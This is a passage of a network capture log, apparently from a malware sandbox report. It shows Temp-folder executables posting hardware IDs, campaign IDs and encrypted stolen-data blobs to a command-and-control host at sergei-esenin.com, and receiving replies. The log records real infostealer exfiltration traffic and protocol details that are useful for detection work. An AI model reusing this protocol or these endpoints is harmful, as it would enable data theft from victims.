2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 63 6c 58 62 67 59 59 30 67 75 37 72 42 45 49 62 2f 51 39 30 6b 42 2f 4d 59 43 31 6d 73 47 32 54 63 61 7a 41 37 48 52 64 33 36 34 2f 46 35 61 43 6a 48 6a 61 72 74 4d 56 54 77 37 39 51 6c 43 55 42 4d 68 34 4c 33 2b 7a 4a 6f 6b 38 73 59 2f 6b 64 42 57 4e 72 6e 78 62 6e 4a 37 65 4c 4a 71 43 32 51 4e 50 58 74 56 58 53 35 41 49 33 47 45 6a 59 66 77 79 77 69 62 31 68 2b 63 34 52 63 66 75 4d 78 61 4a 67 35 39 2b 30 4b 50 53 48 55 41 5a 2f 55 6c 5a 6e 41 72 66 5a 43 46 74 75 69 61 4e 4f 72 61 4c 34 58 59 55 6c 61 35 38 57 35 79 65 33 69 79 61 68 4d 45 54 53 42 43 77 59 31 61 42 41 34 39 4c 49 47 61 37 49 5a 70 2f 71 73 37 79 4f 42 71 4c 72 6d 70 62 6b 6f 69 53 64 39 32 6d 30 68 64 46 46 2f 4a 43 56 35 6b 44 33 32 41 69 5a 36 34 69 6a 7a 4b 78 6a 65 46 39 46 4a 58 Data Ascii: clXbgYY0gu7rBEIb/Q90kB/MYC1msG2TcazA7HRd364/F5aCjHjartMVTw79QlCUBMh4L3+zJok8sY/kdBWNrnxbnJ7eLJqC2QNPXtVXS5AI3GEjYfwywib1h+c4RcfuMxaJg59+0KPSHUAZ/UlZnArfZCFtuiaNOraL4XYUla58W5ye3iyahMETSBCwY1aBA49LIGa7IZp/qs7yOBqLrmpbkoiSd92m0hdFF/JCV5kD32AiZ64ijzKxjeF9FJX
2024-10-21 08:47:34 UTC	841	IN	Data Raw: 38 61 65 63 4e 61 74 33 52 78 4b 45 66 31 4b 56 70 67 4f 77 33 67 68 61 4c 51 68 68 44 4b 6e 69 75 46 71 46 49 37 6a 50 42 4f 4a 68 64 34 36 6d 71 6e 43 55 68 31 63 77 45 64 65 6d 78 4c 41 5a 57 35 79 38 6a 54 4d 4f 4c 6e 41 73 7a 67 50 6c 65 34 35 47 35 79 49 6a 48 58 53 6f 64 41 53 51 78 66 34 54 6c 53 54 43 73 52 73 4c 32 43 39 4c 49 77 36 74 59 6e 35 64 56 33 4a 72 6a 55 44 32 39 37 65 51 39 61 6c 36 78 46 54 58 4f 30 44 52 4e 63 44 77 53 70 32 4c 62 30 2f 67 54 65 78 67 4f 5a 2b 46 6f 62 76 4d 52 75 62 68 5a 35 78 30 61 48 63 46 55 67 57 2b 30 52 50 6e 77 44 66 61 69 4a 70 2f 47 50 4d 4f 4b 33 41 73 7a 67 74 68 4f 55 2b 47 35 61 54 33 6d 75 55 74 35 6f 56 53 56 79 71 44 56 57 63 44 38 74 68 4c 57 36 79 4a 6f 59 77 75 6f 72 74 66 68 57 43 37 6a 34 62 Data Ascii: 8aecNat3RxKEf1KVpgOw3ghaLQhhDKniuFqFI7jPBOJhd46mqnCUh1cwEdemxLAZW5y8jTMOLnAszgPle45G5yIjHXSodASQxf4TlSTCsRsL2C9LIw6tYn5dV3JrjUD297eQ9al6xFTXO0DRNcDwSp2Lb0/gTexgOZ+FobvMRubhZ5x0aHcFUgW+0RPnwDfaiJp/GPMOK3AszgthOU+G5aT3muUt5oVSVyqDVWcD8thLW6yJoYwuortfhWC7j4b
2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 31 30 32 63 0d 0a 65 4c 61 53 2b 58 34 65 6b 65 31 31 4a 61 57 46 69 48 6e 56 70 64 73 73 65 7a 4c 2f 54 46 36 5a 52 76 78 38 49 33 32 2f 4b 49 73 42 69 34 37 73 62 42 71 4a 36 44 4a 62 31 63 61 52 4e 49 4b 58 6d 6c 6f 46 49 37 77 4e 52 64 64 63 6a 56 38 74 59 37 49 71 6d 69 37 34 6f 2f 31 31 45 6f 7a 76 63 6c 58 62 67 4e 34 73 69 75 43 61 46 6c 52 63 71 68 30 50 7a 46 47 65 50 58 34 2f 6f 32 4f 56 66 36 50 41 73 79 70 54 78 2f 78 79 51 39 76 42 6b 48 6e 62 72 64 51 52 56 77 37 30 54 6b 75 55 51 2f 4e 55 44 32 43 33 49 59 45 77 76 72 37 56 57 52 43 4d 34 6a 38 55 6b 4c 69 67 59 64 6d 67 31 42 56 54 44 62 49 44 48 5a 68 45 6c 56 4e 75 4a 66 77 53 77 6e 2b 74 77 4c 4d 34 4b 49 54 67 50 42 79 4e 6c 39 4e 56 31 36 58 57 48 30 6f 58 73 67 4d 64 6b 55 53 56 4f Data Ascii: 102ceLaS+X4eke11JaWFiHnVpdssezL/TF6ZRvx8I32/KIsBi47sbBqJ6DJb1caRNIKXmloFI7wNRddcjV8tY7Iqmi74o/11EozvclXbgN4siuCaFlRcqh0PzFGePX4/o2OVf6PAsypTx/xyQ9vBkHnbrdQRVw70TkuUQ/NUD2C3IYEwvr7VWRCM4j8UkLigYdmg1BVTDbIDHZhElVNuJfwSwn+twLM4KITgPByNl9NV16XWH0oXsgMdkUSVO
2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 54 71 53 69 32 6b 4f 31 37 49 37 6e 46 50 68 32 63 6e 4a 6c 79 2f 49 36 61 58 41 55 54 73 68 56 6b 31 30 79 4e 56 57 41 74 70 47 33 55 66 34 43 44 35 58 59 61 6b 66 39 2f 50 6f 79 46 6a 6e 4c 5a 37 70 52 53 51 31 79 71 48 52 50 58 41 4e 77 71 64 6a 33 75 64 74 6c 73 34 74 43 35 5a 31 4f 65 72 69 52 62 77 39 54 51 4e 4d 6a 75 67 6c 49 43 48 2b 42 66 57 35 51 53 7a 69 30 51 55 35 6f 75 6e 54 57 55 6a 66 74 2f 49 37 6e 37 4d 52 57 56 67 59 68 6c 6d 75 43 61 48 51 56 45 79 77 30 56 32 77 4c 4f 66 47 35 53 38 6d 32 55 66 2b 33 41 33 6e 73 54 69 65 6b 6b 43 74 61 67 6e 57 58 51 6a 39 63 43 51 6c 79 38 44 56 76 58 58 4a 34 6b 62 6d 6d 74 62 64 52 76 35 39 75 2b 4b 30 72 58 76 43 31 56 67 73 61 49 4e 49 4c 38 6c 46 4a 58 58 4b 6f 4e 47 70 51 57 33 32 77 74 65 37 Data Ascii: TqSi2kO17I7nFPh2cnJly/I6aXAUTshVk10yNVWAtpG3Uf4CD5XYakf9/PoyFjnLZ7pRSQ1yqHRPXANwqdj3udtls4tC5Z1OeriRbw9TQNMjuglICH+BfW5QSzi0QU5ounTWUjft/I7n7MRWVgYhlmuCaHQVEyw0V2wLOfG5S8m2Uf+3A3nsTiekkCtagnWXQj9cCQly8DVvXXJ4kbmmtbdRv59u+K0rXvC1VgsaINIL8lFJXXKoNGpQW32wte7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50026	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:34 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-21 08:47:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:34 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-21 08:47:35 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v25oc1ian9g21qbe69ip8p1ei8; expires=Fri, 14 Feb 2025 02:34:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2FdseA0ANWhf898y%2FqTWZ1cgRk%2BzEd3uUN9kRLN0oE6FyilOztB8ynl9SLb7bRiQq89u2l%2BPcyHf6x2n9REa32ETbLh7QB%2BKMcjyZcZ4u3JuS9XuGiP5csG8ZRVA93GEb5vQLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbd21e6e359f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1211&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19220&delivery_rate=2389438&cwnd=251&unsent_bytes=0&cid=a9caf8ccafcc5175&ts=730&x=0"
2024-10-21 08:47:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50033	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:35 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29573 Host: sergei-esenin.com
2024-10-21 08:47:35 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:35 UTC	14242	OUT	Data Raw: 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f Data Ascii: *@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z/
2024-10-21 08:47:36 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5t3mu5rsfinl6lufnn9epp0p1q; expires=Fri, 14 Feb 2025 02:34:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HCXmrC0t57M43Rmm3z1LTzNjGD996NI%2Fjzi1ytHGS9%2BjvzKW7fNMiIZkMLuZBqSr6cJ29a%2FQD%2BO3n6yZe0RI8jk2s8TByBsAkOPxO2R1VqQKu%2BtgyrffxTkiXjKLmXgDdLxunA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbd91e16e77d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1374&sent=17&recv=38&lost=0&retrans=0&sent_bytes=2846&recv_bytes=30647&delivery_rate=1934535&cwnd=250&unsent_bytes=0&cid=119292eedf8fa79f&ts=622&x=0"
2024-10-21 08:47:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50045	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:37 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-21 08:47:37 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:37 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ng9o85rg4re0eqpsglrapkgokj; expires=Fri, 14 Feb 2025 02:34:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2FHec%2B14OIR5hngBrID%2FO%2FdVXZJirDu2zG9GKfhJJvxw4y%2FJi73Tcr19ZdzXQimpVuK2wgTVkKEY8qMbhfZ1xBwaqPJt5EEQr04QPJB3q8TgG51SpKP%2FB7u8L2lIjavRHDVpYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbe29d4c8787-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1231&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9818&delivery_rate=2273155&cwnd=44&unsent_bytes=0&cid=301f8c67f5799628&ts=586&x=0"
2024-10-21 08:47:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50047	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:37 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-21 08:47:37 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D1971A1CD62E1B8D4C166F146C215A77
2024-10-21 08:47:37 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b4l3unvb0gg8fd9ha7jql87rhu; expires=Fri, 14 Feb 2025 02:34:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=11WZv9stn7AbGLz%2B%2FTji9SnB5p3D1Wg6H2S%2FepT3UtaKV9MuD72nUQFY%2FXnT6LXglU%2FjXpkEKBTpZcJwDmrNmSnHaWIQXddZLWPIMr9ErOW1%2FVirGUQP5Iydr4q3ovm5b8j1tA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbe3c9cb3584-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1148&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2470989&cwnd=251&unsent_bytes=0&cid=2e99f3635ae349d5&ts=374&x=0"
2024-10-21 08:47:37 UTC	307	IN	Data Raw: 31 32 63 0d 0a 6a 75 47 32 48 63 4c 6a 78 32 7a 71 4f 6e 75 57 6b 64 63 57 2b 4e 64 43 2f 74 74 45 49 61 36 34 57 6f 49 55 55 33 36 4c 73 64 6a 56 6d 70 52 6f 34 4e 6e 6c 42 4a 35 4f 43 36 7a 4e 2b 45 72 58 35 6e 72 4c 39 58 59 51 6d 35 5a 72 73 79 64 39 54 37 33 74 39 2b 4f 49 32 48 69 65 7a 4c 55 4e 68 46 34 55 2b 37 2b 79 62 70 33 31 62 74 79 39 4d 41 4f 55 69 48 61 67 63 58 46 45 75 38 7a 30 39 63 50 44 50 2f 6a 42 72 78 69 65 53 6b 48 4b 76 6f 73 35 79 65 39 33 30 4f 6c 31 46 49 43 4a 61 37 45 36 59 6b 6a 58 6e 71 76 36 68 4e 64 77 6e 73 79 31 44 59 52 65 46 50 75 2f 73 6d 36 64 39 57 37 63 76 54 41 44 6c 49 68 32 6f 48 46 78 52 4c 76 4d 39 50 58 44 77 7a 2f 34 77 61 38 59 6e 6b 70 42 79 72 36 4c 4f 63 6e 76 64 39 44 70 64 52 53 41 69 57 75 78 4f 6d Data Ascii: 12cjuG2HcLjx2zqOnuWkdcW+NdC/ttEIa64WoIUU36LsdjVmpRo4NnlBJ5OC6zN+ErX5nrL9XYQm5Zrsyd9T73t9+OI2HiezLUNhF4U+7+ybp31bty9MAOUiHagcXFEu8z09cPDP/jBrxieSkHKvos5ye930Ol1FICJa7E6YkjXnqv6hNdwnsy1DYReFPu/sm6d9W7cvTADlIh2oHFxRLvM9PXDwz/4wa8YnkpByr6LOcnvd9DpdRSAiWuxOm
2024-10-21 08:47:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50049	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:37 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-21 08:47:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:37 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
